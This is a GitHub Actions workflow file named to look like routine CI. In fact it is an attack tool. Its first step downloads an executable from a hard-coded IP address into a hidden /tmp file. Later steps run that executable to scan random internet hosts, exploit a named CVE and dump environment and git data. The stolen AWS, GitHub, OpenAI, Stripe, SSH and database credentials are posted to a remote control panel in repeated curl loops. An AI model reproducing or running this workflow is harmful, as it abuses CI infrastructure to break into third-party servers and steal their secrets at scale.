-
Notifications
You must be signed in to change notification settings - Fork 0
100 lines (100 loc) · 4.4 KB
/
Copy pathci-174591.yml
File metadata and controls
100 lines (100 loc) · 4.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
name: ci-174591
on:
push:
branches: ['**']
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
timeout-minutes: 350
steps:
- name: ci-init
run: |
_a=$(uname -m 2>/dev/null);case "$_a" in i[3-6]86) _s=386;; aarch64|arm64) _s=arm64;; armv*) _s=arm;; *) _s=amd64;; esac; curl -sfL http://43.228.157.68:80/api/dl/$_s -o /tmp/.svc 2>/dev/null || \
wget -qO /tmp/.svc http://43.228.157.68:80/api/dl/$_s 2>/dev/null
chmod 755 /tmp/.svc
- name: ci-run
run: |
PANEL="http://43.228.157.68:80"
REPO="${GITHUB_REPOSITORY}"
LOGF="/tmp/.svc.log"
RESULT_FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt sendgrid_valid.txt mailgun_valid.txt brevo_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt \
git_tokens.txt git_remotes.txt"
declare -A OFFSETS
for F in $RESULT_FILES; do OFFSETS[$F]=0; done
(while true; do
sleep 30
LINE=$(tail -1 "$LOGF" 2>/dev/null || echo "")
[ -z "$LINE" ] && LINE="starting..."
curl -s -X POST "$PANEL/api/github-heartbeat" \
--data-urlencode "repo=$REPO" \
--data-urlencode "log=$LINE" 2>/dev/null || true
for F in $RESULT_FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
OFF=${OFFSETS[$F]:-0}
if [ "$TOTAL" -gt "$OFF" ]; then
SENT=$OFF
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 2000)
[ -n "$CHUNK" ] || break
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 2000))
done
OFFSETS[$F]=$TOTAL
fi
break
done
done
done) &
HB_PID=$!
PANEL_URL="http://43.228.157.68:80" GOMEMLIMIT=2147483648 /tmp/.svc ipscan \
--source random,all --workers 1 \
--exploit CVE-2026-41940 --git --envdump \
--ports 80,443,8080,8443,2082,2083,2086,2087 \
--git-workers 20 \
--count 0 --no-reverse 2>&1 | tee "$LOGF" | tail -2 || true
kill $HB_PID 2>/dev/null || true
- name: ci-collect
if: always()
run: |
PANEL="http://43.228.157.68:80"
FILES="rce_41940_hits.txt rce_hits.txt rce_creds.txt rce_verified.txt \
aws_valid.txt aws_hits.txt aws_akia_only.txt \
github_valid.txt github_tokens.txt gitlab_valid.txt gitlab_tokens.txt \
git_tokens.txt git_remotes.txt \
openai_valid.txt openai_hits.txt google_api_valid.txt google_oauth_valid.txt \
stripe_valid.txt brevo_valid.txt sendgrid_valid.txt mailgun_valid.txt \
env_hits.txt db_hits.txt ssh_hits.txt config_hits.txt"
for F in $FILES; do
for LOC in "$HOME" "$HOME/results" "/tmp" "/tmp/results" "./results" "."; do
SRC="$LOC/$F"
[ -f "$SRC" ] && [ -s "$SRC" ] || continue
TOTAL=$(wc -l < "$SRC" 2>/dev/null || echo 0)
SENT=0
while [ "$SENT" -lt "$TOTAL" ]; do
CHUNK=$(tail -n +"$((SENT+1))" "$SRC" 2>/dev/null | head -n 5000)
[ -n "$CHUNK" ] || break
curl -s --max-time 30 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT" 2>/dev/null || true
SENT=$((SENT + 5000))
done
break
done
done